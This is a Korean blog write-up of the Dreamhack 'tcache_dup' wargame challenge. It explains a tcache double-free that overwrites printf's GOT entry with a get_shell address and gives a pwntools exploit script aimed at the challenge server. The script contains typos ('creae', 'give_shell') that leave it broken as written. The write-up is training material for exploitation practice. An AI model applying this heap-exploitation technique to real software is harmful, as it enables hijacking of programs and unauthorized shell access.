상세 컨텐츠

본문 제목

[Dreamhack] tcache dup

SYSTEM HACKING/Dreamhack

by koharin 2020. 6. 12. 01:29

본문

728x90
반응형

익스 시나리오

 

(1) 힙 할당

 

(2) Double Free

 

double free 시  청크의 next 포인터에 자기 자신의 주소가, tcache_entry에 자기 자신에 대한 포인터가 적힌다.

만약 청크에 대한 포인터가 ptr이라면

 

ptr -> ptr

인 것이다.

 

(3) 재할당

- tcache_entry에 적힌 같은 크기의 청크 주소에 할당해준다.

- 이때 next 포인터에 printf got를 적는다.

 

ptr -> printf@got 가 된다.

 

(4) 2번째 재할당

- 아직 tcache_entry에는 첫 번째 청크에 대한 주소가 적혀있으므로 재할당해준다.

- tcache_enry에는 next 포인터에 적힌 printf@got가 적힌다.

 

(5) printf@got에 할당

- size 체크를 하지 않기 때문에 fake chunk 구조를 만들지 않아도 된다.

- got overwrite을 위해 데이터로 get_shell 함수 주소를 준다.

(6) 쉘 획득

 

 

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./tcache_dup")
p = remote("host1.dreamhack.games", 8264)
elf = ELF("./tcache_dup")
get_shell = elf.symbols['get_shell']

def create(size, data):
    p.sendlineafter("> ", '1')
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", '2')
    p.sendlineafter("idx: ", str(idx))

creae(8, 'A'*8)

#Double Free
delete(0)
delete(0)

#overwrite next pointer to printf got
create(8, p64(elf.got['printf']))
create(8, 'A'*8)

#malloc on printf got & got overwrite
create(8, p64(give_shell))

p.interactive()

'


 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] memory_leakage  (0) 2020.07.08
[Dreamhack] House of Force  (0) 2020.06.13
[Dreamhack] house_of_spirit  (0) 2020.06.12
[DreamHack] hook  (0) 2020.05.31
[DreamHack] basic_exploitation_000  (0) 2020.05.31

관련글 더보기